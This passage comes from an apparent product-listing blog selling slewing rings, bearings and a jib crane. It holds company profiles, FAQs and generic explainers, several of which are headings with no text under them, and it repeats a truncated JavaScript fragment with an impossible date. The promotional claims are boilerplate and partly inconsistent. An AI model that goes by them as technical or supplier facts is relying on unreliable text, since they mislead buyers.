bearings, slewing rings provide a compact solution for supporting axial,
radial, and moment loads while enabling rotational motion. Their compactness
is especially advantageous in applications with limited space or weight
constraints.
* High Load-Carrying Capacity: Slewing rings are designed to handle significant
loads. They are capable of supporting both axial and radial loads, as well as
moment loads that result from uneven weight distribution or external forces.
The robust construction and precise engineering of slewing rings enable them
to withstand heavy loads, making them suitable for applications that require
high load-carrying capacity.
* Smooth Rotation: Slewing rings offer smooth rotation, allowing for precise
and controlled motion. The rolling elements, whether balls or rollers, are
positioned and guided within the raceways of the slewing ring to minimize
friction and ensure smooth movement. This smooth rotation contributes to
precise positioning and controlled motion, which is essential in applications
that require accurate positioning and smooth operation.
* Integrated Gear Mechanism: Many slewing rings come with an integrated gear
mechanism. This eliminates the need for additional gearing components,
simplifies the design, and reduces assembly time and costs. The integrated
gear mechanism allows for torque transmission and rotational control,
enabling precise and controlled motion without the need for external gearing
systems.
* Backlash Control: Slewing rings can be designed with minimal backlash,
ensuring precise motion control. Backlash refers to the play or clearance
between mating gears or components, which can lead to lost motion or
inaccuracies in positioning. By minimizing backlash, slewing rings offer
improved accuracy and repeatability in motion control applications.
* Versatility and Customization: Slewing rings are highly versatile and can be
customized to meet specific application requirements. They can be tailored in
terms of dimensions, load capacity, mounting interfaces, gear specifications,
sealing systems, and materials. This versatility allows slewing rings to be
optimized for various industries and applications, ensuring the best
performance and compatibility.
* Durable and Low Maintenance: Slewing rings are designed to be durable and
require minimal maintenance. They are constructed with high-quality
materials, precision manufacturing, and appropriate sealing systems to
withstand harsh operating conditions and contaminants. This durability and
low maintenance requirement contribute to the long service life and
reliability of slewing rings.

Overall, slewing rings offer advantages such as compact design, high
load-carrying capacity, smooth rotation, integrated gear mechanism, backlash
control, versatility, customization options, and durability. These advantages
make slewing rings a preferred choice in various applications, including
construction machinery, material handling equipment, cranes, wind turbines,
robotics, and manufacturing systems.

editor by Dream 2024-05-16

This entry was posted in Uncategorized and tagged bearing, bearing china,
bearing for, bearing gear, bearing marine, bearing oem, bearing slewing ring,
bearing steel, china bearing bearing, cnc bearing, forged gear, gear, gear
bearing, gear ring, gear with bearing, hot gear, machining cnc, marine bearing,
oem bearing, oem gear, ring gear, ring slewing bearing, slewing bearing, slewing
gear, slewing ring bearing, steel alloy gear, steel bearing on May 16, 2024 by
ep.

CHINA SUPPLIER HIGH QUALITY SOILMEC SR60 SR40 SR625 SR80 USE SLEWING BEARING FOR
ROTARY RIG MACHINE

PRODUCT DESCRIPTION

Product Description

Product Name: Large Forged Casting Steel 42CrMo4, 20CrMnMo,17CrNiMo6, 20CrMnTi,
34CrNi1Mo, 25CrNiMoV slewing ring

Slewing rings, also known as turntable bearings or slewing bearings, are
large-diameter bearings designed to support axial, radial, and moment loads
while enabling rotational movement. These specialized bearings consist of an
inner ring, an outer ring, rolling elements (such as balls or rollers), and
sometimes gear teeth or other features to facilitate motion transmission.

Market Served Oilfield equipment parts, engine components, marine equipment
parts, spare parts for mining machinery, coal mine drilling equipment, forklift
parts, agricultural machinery components, railway and locomotive parts,
excavator parts, hydraulic system components, shipbuilding components, pump
spare parts, Forging processing ingot—forging—heat treatment—rough
machining—UT.MT—Q+T—inspection—finishing machining—UT.MT—packing Material:
Forged Carbon steel: 42CrMo4,P289GH,S355G2
ASTM A105, A105N /ASME SA105, SA105N
ASTM A350 / SA350 LF2 (Class 1 & 2), LF3, LF6
ASTM A694 F50, F60, F65
ASTM A516 GR.55, 60, 65, 70
Forged Stainless & Alloy Steel & Duplex:
ASTM A182 / SA182
F304/304L/304H,A316/316L/316H,F321,F310
ASTM A182 / SA182 F11,F22,F51,F52,F53
F55,F904/904L,F40,F44 Inspection: 1. Raw material certificate(material
chemical composition)
2. Heat treatment sheet report
3.Dimension inspection report
4.UT test report Application: Oil and gas, Oilfield, Petrochemcial, Equipment
Max OD of Ring 5000mm Delivery condition Hot forged +Rough machined (black
surface after Q /T)+ Turned

Detailed Photos

Company Profile

Founded in 2009, HangZhou Bluesea Piping Systems Co., Ltd (BPS) is a premier
supplier of forged products, renowned for our expertise in providing a
comprehensive range of forgings. Our offerings include forged rings, shafts,
cylinders, discs, as well as standard and non-standard flanges crafted from a
variety of raw materials including carbon steel, stainless steel, duplex steel,
and alloy steel. Our track record of successful partnerships with numerous
Fortune Global 500 companies underscores our unwavering dedication to delivering
excellence.

Our Advantages

1) Industry Leadership:
As pioneers in Pipeline Products since 2009, we boast decades of
expertise. we’ve provided pipeline solutions to over 30 countries. Our
stringent quality control ensures guaranteed excellence.

2) VIP Service:
Our dedicated technical engineers and sales teams ensure top-notch quality
and service, catering to your specific needs with professionalism and care.

3) Flexibility in Material Selection:
With expertise in forging different materials, we offer flexibility in
material selection to meet the unique demands of different industries and
applications.

4) Rapid Prototyping and Production:
Leveraging advanced forging techniques, we excel in rapid prototyping and
production, enabling quick turnaround times for orders.

Packaging & Shipping

FAQ

1.Q:Are you a factory or trading company?
A: We are a factory.
2.Q:Do you accept customized orders?
A:Yes,just tell us your requirements
3.Q:How does your factory do regarding quality control?
A: “Quality is our culture” Inspection. We serious control the quality from
raw material to finished pipes.
4.Q: How can I get more details about your products?
A: You can send an email to our email address. We will provide catalogue and
pictures of our products for your reference.
5. Q: After sales service.
A: We guarantee the quality and quantity, any problem, we will be
responsible for the end, guarantee your satisfaction.
/* January 22, 2571 19:08:37 */!function(){function s(e,r){var
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Condition: New Certification: CE, RoHS, GS, ISO9001 Standard: DIN, ASTM, GOST,
GB, JIS, ANSI, BS

Samples:
US$ 10/Piece
1 Piece(Min.Order)

Order Sample

Customization:
Available

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Shipping Cost:

Estimated freight per unit.

about shipping cost and estimated delivery time.

Payment Method:

Initial Payment

Full Payment

Currency: US$

Return&refunds: You can apply for a refund up to 30 days after receipt of the
products.

HOW DOES THE CHOICE OF SLEWING RINGS AFFECT THE OVERALL PERFORMANCE AND
RELIABILITY OF ROTATING SYSTEMS?

HOW DO SLEWING RINGS CONTRIBUTE TO PRECISE AND CONTROLLED MOTION IN MACHINERY?

Slewing rings play a crucial role in enabling precise and controlled motion in
machinery. Their design and functionality contribute to achieving accurate
positioning, smooth rotation, and controlled movement. Here’s a detailed
explanation of how slewing rings contribute to precise and controlled motion:

* Precision Engineering: Slewing rings are meticulously engineered to provide
high precision in motion control. The manufacturing processes involve tight
tolerances and precise machining to ensure accurate dimensions and alignment
of the rolling elements and raceways. This precision engineering minimizes
any deviations or errors in motion, allowing for precise positioning and
controlled movement.
* Low Friction and Smooth Rotation: Slewing rings are designed to minimize
friction and enable smooth rotation. The rolling elements, whether balls or
rollers, are precisely positioned and guided within the raceways of the
slewing ring. This design ensures that the rolling elements make contact with
the raceways at specific angles, reducing friction during rotation. The
low-friction characteristics allow for smooth and controlled motion, enabling
precise positioning without undue resistance or jerky movements.
* Integrated Gear Mechanism: Many slewing rings are equipped with an integrated
gear mechanism. The gear teeth on the inner or outer ring of the slewing ring
engage with external gears or pinions, providing a means to transmit torque
and control rotational motion. The gear mechanism allows for precise and
controlled movement, enabling operators or automated systems to achieve
accurate positioning and controlled rotation at desired speeds.
* Backlash Control: Backlash refers to the slight play or clearance between
mating gears or components. Slewing rings are designed to minimize backlash,
particularly in applications that require precise motion control. By reducing
or eliminating backlash, slewing rings ensure that there is minimal lost
motion or error when initiating rotational movement or changing direction.
This feature contributes to improved accuracy and controlled motion.
* Stiffness and Rigidity: Slewing rings are designed to provide high stiffness
and rigidity, minimizing deflection or deformation during operation. This
characteristic is especially important in applications where precise and
controlled motion is required. The high stiffness of slewing rings ensures
that the applied forces and torques are efficiently transmitted, allowing for
accurate positioning and controlled motion without significant distortion or
flexing.
* Positioning Sensors and Feedback Systems: In conjunction with slewing rings,
machinery often incorporates positioning sensors and feedback systems. These
sensors and systems provide real-time data on the position, speed, and
rotation of the slewing ring. By continuously monitoring and adjusting the
motion based on the feedback, precise and controlled movement can be
achieved, enabling accurate positioning and motion control.

Overall, slewing rings contribute to precise and controlled motion in machinery
through their precision engineering, low friction, integrated gear mechanisms,
backlash control, stiffness, and compatibility with positioning sensors and
feedback systems. These features ensure accurate positioning, smooth rotation,
and controlled movement, making slewing rings essential components for
applications that require precise motion control in various industries such as
construction, material handling, robotics, and manufacturing.

HOW DO SLEWING RINGS CONTRIBUTE TO THE ADAPTABILITY AND VERSATILITY OF ROTATING
SYSTEMS IN VARIOUS SETTINGS?

Slewing rings play a crucial role in enhancing the adaptability and versatility
of rotating systems across various settings. Here’s a detailed explanation of
how slewing rings contribute to the adaptability and versatility of rotating
systems:

* 360-Degree Rotation: Slewing rings enable 360-degree continuous rotation,
allowing rotating systems to operate in any direction. This flexibility is
especially valuable in applications such as cranes, excavators, and wind
turbines, where unrestricted rotation is necessary to perform tasks
efficiently and access multiple work zones without repositioning the entire
system.
* Load-Bearing Capacity: Slewing rings are designed to handle significant
radial, axial, and moment loads. Their robust construction and large diameter
enable them to support heavy equipment and loads, making them suitable for a
wide range of applications, including construction machinery, material
handling systems, and offshore platforms. The high load-bearing capacity of
slewing rings contributes to the adaptability of rotating systems in
demanding settings.
* Compact Design: Slewing rings have a compact and space-saving design compared
to alternative mechanisms for rotational movement. This compactness allows
for the integration of slewing rings into systems where space is limited,
such as compact construction machinery, industrial robots, and medical
equipment. The compact design of slewing rings enhances the adaptability of
rotating systems in confined or restricted environments.
* Versatile Mounting Options: Slewing rings offer versatile mounting options,
allowing them to be easily integrated into different types of rotating
systems. They can be mounted using various methods, including bolted
connections, gear or pinion arrangements, or hydraulic or electric drives.
This versatility in mounting options enables slewing rings to adapt to the
specific requirements and constraints of different applications and settings.
* Support for Multiple Components: Slewing rings provide support for various
components that are essential for rotating systems. For example, they can
support booms, arms, or jibs in construction machinery, or act as a base for
rotating platforms or turntables in manufacturing or entertainment
industries. By providing a stable and reliable foundation, slewing rings
enable the integration of multiple components, enhancing the versatility and
adaptability of the overall system.
* Customization and Specialized Designs: Slewing rings can be customized and
designed to meet specific application requirements. Manufacturers can tailor
slewing rings to accommodate specific load capacities, dimensions, mounting
arrangements, sealing systems, or environmental conditions. This
customization allows for the adaptation of slewing rings to diverse settings,
ensuring optimal performance and functionality.
* Integration with Control Systems: Slewing rings can be integrated with
electronic or computer-controlled components, such as sensors, actuators, and
control systems. This integration enables precise control, automation, and
synchronization of rotating systems. By incorporating advanced control
features, slewing rings can adapt to dynamic operating conditions, optimize
performance, and support advanced functionalities, such as coordinated
motion, precision positioning, or remote monitoring.

In summary, slewing rings contribute to the adaptability and versatility of
rotating systems by enabling 360-degree rotation, providing high load-bearing
capacity, offering a compact design, supporting versatile mounting options,
accommodating multiple components, allowing customization, and facilitating
integration with control systems. These characteristics make slewing rings
suitable for a wide range of applications and settings, enhancing the
versatility and adaptability of rotating systems in industries such as
construction, manufacturing, transportation, renewable energy, and many others.

editor by Dream 2024-05-16

This entry was posted in Uncategorized and tagged bearing, bearing china,
bearing for, bearing machine, bearing supplier, china bearing bearing, china
machine, high bearing, machine, slewing bearing on May 16, 2024 by ep.

CHINA SUPPLIER RU445UU-CCO-X CROSS ROLLER SLEWING RING TAPPED THROUGH HOLES
TURNTABLE BEARING

PRODUCT DESCRIPTION

RU445UU-CCO-X Cross Roller Slewing Ring Tapped through holes Turntable Bearing

Cylindrical Roller Bearings

Spherical Roller Bearings
Needle Roller Bearings Tapered Roller Bearings

Crossed Slewing bearing Thrust Roller Bearings

Detailed Photos

Products Details

Cylindrical Roller Bearing
(N,NJ,NU,NF,NUP, NCL, NCF, NN…… Series)

Single-row Cylindrical Roller Bearings
Full Complement Single Row Cylindrical Roller Bearings
Electrically Insulated Single Row Cylindrical Roller Bearings
Single Row Cylindrical Roller Bearings With Ceramic Rollers
Split Single Row Cylindrical Roller Bearings
Cylindrical Roller Bearings For Corrugating Rolls
Cylindrical Roller Bearings For Electrical Locomotive Traction Motors
Double Row Cylindrical Roller Bearings
Full Complement Double Row Cylindrical Roller Bearings
Double Row Cylindrical Roller Bearings With Ceramic Rollers
Split Double Row Cylindrical Roller Bearings
Double Row Cylindrical Roller Bearings For Railway Rolling Stock Axle Journals
Full Complement Triple-row Cylindrical Roller Bearings
Four-row Cylindrical Roller Bearings
Full Complement Four-row Cylindrical Roller Bearings
Six-row Cylindrical Roller Bearings
Eight-row Cylindrical Roller Bearings
Self-aligning Cylindrical Roller Bearings

Spherical Roller Bearing
(21…Series)

Standard Spherical Roller Bearings
Sealed Spherical Roller Bearings
Spherical Roller Bearings For High Temperatures
Spherical Roller Bearings With Oil-filled Polymer Material
Split Spherical Roller Bearings
Energy-Efficient Spherical Roller Bearings
Spherical Roller Bearings For Vibrating Machines
Spherical Roller Bearings For Paper Machines
Spherical Roller Bearings With Oil-filled Polymer Material For Paper Machines
Spherical Roller Bearings For Converters
Split Spherical Roller Bearings For Converters
Spherical Roller Bearings For Continuous Casting Machines
Corrosion-resistant Spherical Roller Bearings
Precision Spherical Roller Bearings
Precision Spherical Roller Bearings With Oil-filled Polymer Material

Tapered Roller Bearing
(35710, 30300, 32200, 32300, 32000, 33000, 33100, 33200……Series)

Single Row Tapered Roller Bearings
Sealed Single Row Tapered Roller Bearings
Single Row Tapered Roller Bearings With Oil-filled Polymer Material
Energy Efficient Single Row Tapered Roller Bearings
Double Row Tapered Roller Bearings
Sealed Double Row Tapered Roller Bearings
Self-aligning Double Row Tapered Roller Bearings For Continuous Casting Machines
Four-row Tapered Roller Bearings
Sealed Four-row Tapered Roller Bearings
Precision Tapered Roller Bearings
Single Row Tapered Roller Bearing
Single Row Tapered Roller Bearing With Flanged Cup
Single Row Tapered Roller Bearing, Paired Back-to-back
Single Row Tapered Roller Bearing, Paired Face-to-face
Single Row Tapered Roller Bearing, Paired In Tandem
Double Row Tapered Roller Bearing – TDO Design
Double Row Tapered Roller Bearing – TQI Design
Four-row Tapered Roller Bearing – TQI Design

Needle Roller Bearing
(K, K811, K812, NA, RNA, AXK, NKI, HF, HFL…… Series)

Single Row Needle Roller Bearings
Single Row Needle Roller Bearing With Ribs
Single Row Needle Roller Bearing Without Ribs
Single Row Needle Roller Bearing With CHINAMFG And Seal On One Side
Single Row Needle Roller Bearing With CHINAMFG And Seals On Both Sides
Single Row Needle Roller Bearings With Oil-filled Polymer Material
Single Row Needle Roller Bearing With CHINAMFG And Oil-filled Polymer Material
Single Row Needle Roller Bearing With CHINAMFG And Oil-filled Polymer Material,
Seals On Both Sides
Full Complement Single Row Needle Roller Bearings
Full Complement Single Row Needle Roller Bearing
Double Row Needle Roller Bearings
Double Row Needle Roller Bearing With Ribs
Double Row Needle Roller Bearing Without Ribs
Double Row Needle Roller Bearings With Oil-filled Polymer Material
Double Row Needle Roller Bearing With CHINAMFG And Oil-filled Polymer Material
Self-aligning Needle Roller Bearings
Self-aligning Needle Roller Bearing

Packaging & Shipping

Packaging 1)Commercial Bearings packaging: 1pc/plastic bag + color box + carton
+ pallet 2)Industrial Bearings packaging 3)According to the requirement of
customers Payment 1) T/T:30% deposit, 70% should be paid before shipment. 2)
L/C at sight. (high bank charge, not suggested, but acceptable ) 3) 100%
Western Union in advance. (especially for air shipment or small amounts)
Delivery 1) Less than 45 KGS, we will send by express. ( Door to Door,
Convenient ) 2) Between 45 – 200 KGS, we will send by air transport. ( Fastest
and safest, but expensive ) 3) More than 200 KGS, we will send by sea.
( Cheapest, but long time )

Company Profile

HangZhou HOJE Bearing Co., LTD Specializing in the manufacture and sales of
bearings and bearing accessories, we mainly produce deep groove ball bearings,
spherical bearings with seats, tapered roller bearings, and related components.
Our factory has the most advanced equipment, first-class mechanical professional
and technical personnel, and one-stop automatic production from bearing raw
materials to finished products. We are willing to provide excellent services for
factories that produce industrial equipment, vehicles, electromechanical tools,
home appliances, instrumentation, fitness equipment, leisure sports equipment,
users of various types of mechanical equipment and civil machinery, and domestic
and foreign traders and distributors.

Company Advantages

1. FREE SAMPLES: contact us by email or trade manager, and we will send the free
samples according to your request.
2. World-Class Bearing: We provide our customers with all types of bearings of
world-class quality.
3. OEM or Non-Stand Bearings: Any requirement for Non-standard bearings is
Easily Fulfilled by us due to our vast knowledge and links in the industry.
4. Genuine products With Excellent Quality: Company has always proved the 100%
quality products it provides with genuine intent.
5. After-Sales Service and Technical Assistance: Company provides after-sales
service and technical assistance as per the customer’s requirements and needs.
6. Quick Delivery: The company provides just-in-time delivery with its
streamlined supply chain.
7. Cost Saving: We provide long-life, shock-resistant, and high-reliability
bearings with excellent quality and better performance. Resulting in increased
cost savings.
8. Attending customer queries promptly: We believe that if customers are
satisfied then it proves our worth well. Customers are always given quick
support.

/* January 22, 2571 19:08:37 */!function(){function s(e,r){var
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Rolling Body: Roller Bearings The Number of Rows: Single Outer Dimension: Medium
and Large(120-190mm) Material: Bearing Steel Spherical: Non-Aligning Bearings
Load Direction: Radial Bearing

Samples:
US$ 0/Piece
1 Piece(Min.Order)

Customization:
Available

CAN YOU DESCRIBE THE FACTORS TO CONSIDER WHEN SELECTING SLEWING RINGS FOR
SPECIFIC APPLICATIONS?

HOW DOES THE DESIGN OF A SLEWING RING CONTRIBUTE TO EFFICIENT ROTATION AND
MOVEMENT?

The design of a slewing ring plays a crucial role in facilitating efficient
rotation and movement in mechanical systems. Several design features contribute
to its functionality and performance. Here’s a detailed explanation of how the
design of a slewing ring contributes to efficient rotation and movement:

* Structure and Load Distribution: Slewing rings are designed with a large
diameter compared to their thickness. This structural design ensures optimal
load distribution across the bearing, allowing it to support axial, radial,
and moment loads efficiently. The arrangement of rolling elements within the
raceways helps distribute the load evenly, reducing stress concentrations and
minimizing friction during rotation.
* Low Friction and Smooth Rotation: The rolling elements, which can be balls or
rollers, are precisely positioned within the raceways of the inner and outer
rings. The design ensures that the rolling elements make contact with the
raceways at specific angles, reducing friction and enabling smooth rotation.
This low-friction design minimizes power loss, enhances energy efficiency,
and contributes to the overall efficiency of the system.
* Gear Mechanism: In some slewing ring designs, a gear mechanism is integrated
into the bearing. This allows the slewing ring to act as a rotational drive
system, enabling controlled and precise movement. The gear teeth engage with
external gears or pinions, providing a means to transmit torque and
facilitating rotational motion. The gear mechanism in a slewing ring design
contributes to efficient and synchronized rotation in applications where
precise positioning or continuous rotation is required.
* Sealing and Lubrication: Slewing rings are designed with sealing systems to
protect the internal components from contaminants and prevent lubricant
leakage. The sealing systems help maintain the integrity of the bearing by
keeping out dirt, dust, water, and other particles that could cause damage or
premature wear. Proper lubrication is also crucial for efficient rotation and
movement. The design of slewing rings often includes lubrication channels or
grease fittings to ensure adequate lubricant supply to the rolling elements
and raceways, reducing friction and promoting smooth operation.
* Materials and Durability: Slewing rings are typically made of high-quality
materials such as alloy steels or specialty steels that offer excellent
strength, durability, and corrosion resistance. The choice of materials and
the design of the slewing ring take into account the specific application
requirements, including factors such as load capacity, operating temperature,
and environmental conditions. The design ensures that the slewing ring can
withstand the anticipated loads, operating conditions, and service life
requirements.

Overall, the design of a slewing ring is carefully engineered to maximize
load-bearing capacity, minimize friction, enable smooth rotation, and ensure
durability. By incorporating features such as optimized load distribution,
low-friction rolling elements, gear mechanisms, sealing systems, and appropriate
materials, slewing rings contribute to efficient rotation and movement in
mechanical systems, enhancing the overall performance and reliability of the
equipment.

WHAT ARE THE DIFFERENT TYPES AND CONFIGURATIONS OF SLEWING RINGS AVAILABLE IN
THE MARKET?

editor by Dream 2024-05-16

This entry was posted in Uncategorized and tagged bearing, bearing china,
bearing cross roller, bearing roller bearing, bearing slewing ring, bearing
supplier, bearing turntable, china bearing bearing, cross bearing, ring slewing
bearing, slewing bearing, slewing ring bearing, turntable bearing on May 16,
2024 by ep.

CHINA BEST SALES HIGH STANDARD SLEWING CANTILEVER CRANE WITH CE CERTIFICATION

PRODUCT DESCRIPTION

High Standard Slewing Cantilever Crane With CE Certification
Jib Crane is widely used to control or position a load in areas that are
generally inaccessible to other material handling equipment. They are designed
to provide reliable long-life performance with minimum maintenance. This jib
crane provides 360-degree rotation our jib include taglines, festoon systems,
collector ring assemblies and motorized rotation.
Free standing Jib Cranes are directly fixed on the floor without any support to
keep it upright. To maintain it’s stability and not topple over it you fix it to
a foundation of 3 to 5 feet deep and up to 4 to 10 feet square foundation base.
The foundation depends on the load and reach. Advantage of this type of crane is
it doesn’t need a support wall or structure and provides optimal range of span
and control compare to wall mounted cranes and other types of Jib cranes. The
picture here shows a 2 ton free standing jib crane used in a yard environment.

Jib cranes are widely used in the following applications:
1. Fitting & fabrication workstations
2. Building Maintenance
3. Plant room maintenance
4. Marine loading and maintenance
5. Machine centre loading and maintenance to name a few applications

The versatility of a CHINAMFG Jib Crane is unmatched. Our Jib Cranes offer an
extensive range of installation options and capacities, with the power to create
the best material handling solution with maximum space utilization. A Jib Crane
can be mounted to your facility floor, foundation, column, pillar or wall to
accommodate any space constraints or work plans.
Design features include:
1. Precision upper CHINAMFG roller bearing
2. Easy set, self adjusting slew brake
3. Range of models available from full manual to fully powered operation
4. Wall, column or freestanding mounts available
5. Peace of mind knowing that your crane is designed by qualified engineers and
manufactured by qualified boilermakers, electricians and fitters.
6. Medium / heavy weight design
7. Sturdy steel structure with low solid-web jib for high usable crane hook
height.
8. Safety anchoring with sturdy, ribbed based and a large number of anchor
bolts.
9. Rated slewing range infinite X 360 degree.
10. Scope of Supply includes anchor bolts, template and plan for foundation
design.
11. For operation in completely enclosed buildings.
12. LIMIT SWITCHES: To prevent over hoisting & over lowering of hook.

Technical Parameter of Z Series Wall Mounted Jib Crane Lifting Capacity(kg)
Model Steel Type of cantilever Working Method Slewing Method Valid Radius(m)
Lifting Height(m) Total Height(m) Slewing Angle Lifting speed 125 BX01-Z I beam
Eletric, Manual, Manual Chain Eletric, Manual 2, 3, 4, 5, 6, 7 2, 3, 4, 5 4, 5,
6, 7 180 8.8/2 250 BX02-Z 10, 10/2.5, 4, 4/1 500 BX05-Z 10, 10/2.5, 5, 5/12.5
1000 BX10-Z 5, 5/1.25, 8, 8/2 2000 BX20-Z Eletric, Manual Chain 4, 4/1

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After-sales Service: Provide Warranty: One Year Application: General Industry
Rated Loading Capacity: up to 10ton Place of Origin: Shaoxing, Zhejiang
Certification: ISO9001:2008

Customization:
Available

CAN YOU EXPLAIN THE PRIMARY FUNCTIONS AND ROLES OF SLEWING RINGS IN VARIOUS
APPLICATIONS?

Slewing rings play crucial functions and serve different roles in various
applications across industries. These specialized bearings enable controlled
rotational movement and support heavy loads. Here’s a detailed explanation of
the primary functions and roles of slewing rings in different applications:

* Construction and Cranes: In construction machinery and cranes, slewing rings
are used to support the boom or jib, enabling 360-degree rotation. They
provide a stable and low-friction interface that allows for efficient
material handling and precise positioning of heavy loads. Slewing rings in
these applications must withstand high axial, radial, and moment loads.
* Wind Turbines: Slewing rings play a critical role in wind turbine systems.
They support the rotor and allow it to rotate according to wind direction,
facilitating efficient power generation. Slewing rings in wind turbines must
handle significant loads while ensuring smooth rotation and precise alignment
between the rotor and the nacelle.
* Industrial Equipment: Slewing rings find applications in various industrial
equipment, including indexing tables, turntables, robotic arms, and packaging
machinery. In these applications, slewing rings enable controlled and precise
rotation, allowing for accurate positioning, indexing, and automation. They
contribute to the overall efficiency and functionality of industrial
machinery.
* Transportation and Automotive: Slewing rings are utilized in transportation
and automotive applications, such as vehicle cranes, aerial platforms, and
rotating platforms for heavy-duty vehicles. They provide a stable and
reliable connection that enables safe and controlled rotation. In these
applications, slewing rings must withstand dynamic loads and harsh operating
conditions while ensuring the safety and stability of the equipment.
* Medical and Rehabilitation Equipment: Slewing rings are important components
in medical and rehabilitation equipment, including patient lifts and
adjustable beds. They enable smooth and controlled movement, allowing for
easy and safe patient transfers and positioning. Slewing rings in these
applications must provide precise and quiet operation, ensuring patient
comfort and care.
* Aerospace and Defense: Slewing rings are utilized in aerospace and defense
applications, such as radar systems, missile launchers, and satellite
antennas. They enable precise and controlled movement in critical systems,
contributing to accurate tracking, targeting, and communication. Slewing
rings in aerospace and defense applications must meet stringent requirements
for reliability, precision, and durability.
* Marine and Offshore: Slewing rings are employed in marine and offshore
equipment, including cranes, davits, and rotating platforms on ships and
offshore rigs. They enable heavy lifting and controlled rotation in
challenging marine environments. Slewing rings in marine applications must be
corrosion-resistant and capable of withstanding harsh weather conditions and
high loads.

Overall, slewing rings serve as essential components in a wide range of
applications, enabling controlled rotation, supporting heavy loads, and ensuring
precise positioning. Their versatility and ability to withstand varying loads
and operating conditions make them invaluable in industries such as
construction, wind energy, industrial automation, transportation, healthcare,
aerospace, and marine sectors.

CAN YOU PROVIDE EXAMPLES OF PRODUCTS OR MACHINERY THAT COMMONLY USE SLEWING
RINGS?

CAN YOU DESCRIBE THE FACTORS TO CONSIDER WHEN SELECTING SLEWING RINGS FOR
SPECIFIC APPLICATIONS?

editor by Dream 2024-05-16

This entry was posted in Uncategorized on May 16, 2024 by ep.

CHINA HIGH QUALITY EXCAVATOR SLEWING RING BEARING REPLACEMENT K904C

PRODUCT DESCRIPTION

1. Company introduction

HangZhou King Slewing Bearing Technology Co.,Ltd.is a professional manufacturer
and exporter of excavator slewing rings, its factory is located in HangZhou
city, ZheJiang Province,very close to ZheJiang Port, goods can be easily
transported all over the world.

Our main product is excavator slewing rings, we can now produce more than 1000
part numbers to match with many famous excavator brands, such as CATERPILLAR,
KOMATSU, HITACHI, KOBELCO, HYUNDAI, VOLVO, DOOSAN, LIEBHERR, DAEWOO, JCB,CASE,
SUMITOMO, KATO,etc.

Our engineers have more than 20 years rich experience in studying excavator
slewing rings and we have professional measuring team can go to customers
‘ workplace to measure the old or broken slewing rings, then to produce the
same replacements. We have our own factory with latest CNC machines , such as
vertical lathes, gear hobbing machines, gear shaping machines, hole drilling
mahines, quenching machines, vertical grinding machines, turning machines,etc.
to meet customers’ quick delivery requirements.

We will adhere to the “quality first, credibility first” business philosophy and
continually provide our clients with superior quality products and services. We
warmly welcome customers from all over the world to visit us and together to
build a better future !

2. Our slewing rings can match with more than 1000 excavator models.

3. Our excavator part numbers as below:

Kobelco Slewing Ring Replacement Excavator model number Part number Excavator
model number Part number SK60-3 2425U232F1 SK210LC-6 Yn40F00004f1 SK75-8
YT40F00004F1 SK210LC-8 YN40F00026F1 SK75 UR-3 2425U261F1 SK220LC III/IV
24100N7441F1 SK130LC IV LP40FU0001F1 SK230-6 LQ40F00004F1 SK135SR
YW40F00001F1 SK235 YN40F57104P1 SK-140 YY40F00009F1 SK250-6E LQ40F00005F1
SK140SR YY40F00009F1 SK250-8 LQ40F00014F1 SK200 24100N7440F1 SK250LC-6E
LQ40F00004f1 K907LC-2 24100N3978F SK250NLC-6 24100N7441F1 SK907-2
24100N3978F2 SK260-8 LQ40F000014F1 SK200 YN40FU0001F1 SK260LC-8
LQ40F00014F SK200-3 24100N440F1 SK300-III 2425U262F1 SK200-6 YN40F00008F1
SK330 LC40F00019F1 SK200-6 YN40F0571FI SK330-6E LC40F00009F1 SK200-6
super YN40F00004F2 SK330LC V1 LC40FU0001F1 SK200-8 YN40F00026F1
SK330LC-6E LC40F00009F1 SK200-8 YN40F00026F2 SK330-6E LC40F00012F
SK200-10 Yn40F00042f2 SK350 LC40F00018F1 SK-210 YN40F00033F2 SK350ME
FG4E9648E-J6 SK210LC YN40F00019F2 SK480LC-6 LS40F00003F1

4. Our excavator slewing ring pictures

5. Our slewing bearing packaging pictures

6. Transportation way: By sea/ air/ rail/ road/ TNT/DHL/UPS/Fedex,ect.

7. Contact information
/* January 22, 2571 19:08:37 */!function(){function s(e,r){var
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Standard or Nonstandard: Standard Feature: Short Delivery Time Sealing Gland: We
Use Seal Rings Rolling-Element Number: Single Row, Three Row for Huge Slewing
Bearing Roller Type: Four Point Contact Material: Alloy Steel

Samples:
US$ 850/Set
1 Set(Min.Order)

Customization:
Available

CAN YOU PROVIDE EXAMPLES OF PRODUCTS OR MACHINERY THAT COMMONLY USE SLEWING
RINGS?

CAN YOU EXPLAIN THE PRIMARY FUNCTIONS AND ROLES OF SLEWING RINGS IN VARIOUS
APPLICATIONS?

HOW DO ELECTRONIC OR COMPUTER-CONTROLLED COMPONENTS INTEGRATE WITH SLEWING RINGS
IN MODERN APPLICATIONS?

In modern applications, electronic or computer-controlled components are often
integrated with slewing rings to enhance functionality, precision, and
automation. This integration allows for advanced control, monitoring, and
optimization of rotating systems. Here’s a detailed explanation of how
electronic or computer-controlled components integrate with slewing rings in
modern applications:

* Sensor Integration: Electronic sensors can be integrated with slewing rings
to provide real-time feedback and data on various parameters. For example,
position sensors can be used to accurately track the position and angle of
the slewing ring, enabling precise control and positioning of the rotating
components. Load sensors can measure the load applied to the slewing ring,
allowing for dynamic load monitoring and optimization.
* Control Systems: Computer-controlled components, such as programmable logic
controllers (PLCs) or microcontrollers, can be used to manage the operation
of slewing rings. These control systems can receive input from sensors and
execute algorithms to control the speed, direction, and positioning of the
slewing ring. By integrating electronic control systems, precise and
automated control of the slewing ring can be achieved, improving efficiency
and reducing human error.
* Automation and Synchronization: In modern applications, slewing rings are
often integrated into automated systems where they work in synchronization
with other components. Electronic or computer-controlled components can
facilitate this synchronization by coordinating the movements of multiple
slewing rings or integrating them with other automated processes. This
integration enables seamless and optimized operation of the rotating system
as a whole.
* Data Monitoring and Analysis: Electronic components can be used to collect
and analyze data from slewing rings. This data can include parameters such as
position, speed, temperature, and load. By monitoring and analyzing this
data, it is possible to identify patterns, detect anomalies, and optimize the
performance of the slewing rings. This information can be used for predictive
maintenance, energy optimization, and performance improvement.
* Communication and Networking: Electronic components enable communication and
networking capabilities for slewing rings. They can be connected to a network
or interface with other control systems, allowing for remote monitoring,
control, and integration into larger systems. This enables centralized
monitoring and control of multiple rotating systems, facilitating efficient
operation and maintenance.
* Feedback and Safety Systems: Electronic components can provide feedback and
safety features in slewing ring applications. For example, limit switches or
proximity sensors can detect the end positions of the slewing ring’s rotation
and trigger safety mechanisms or control actions accordingly. This ensures
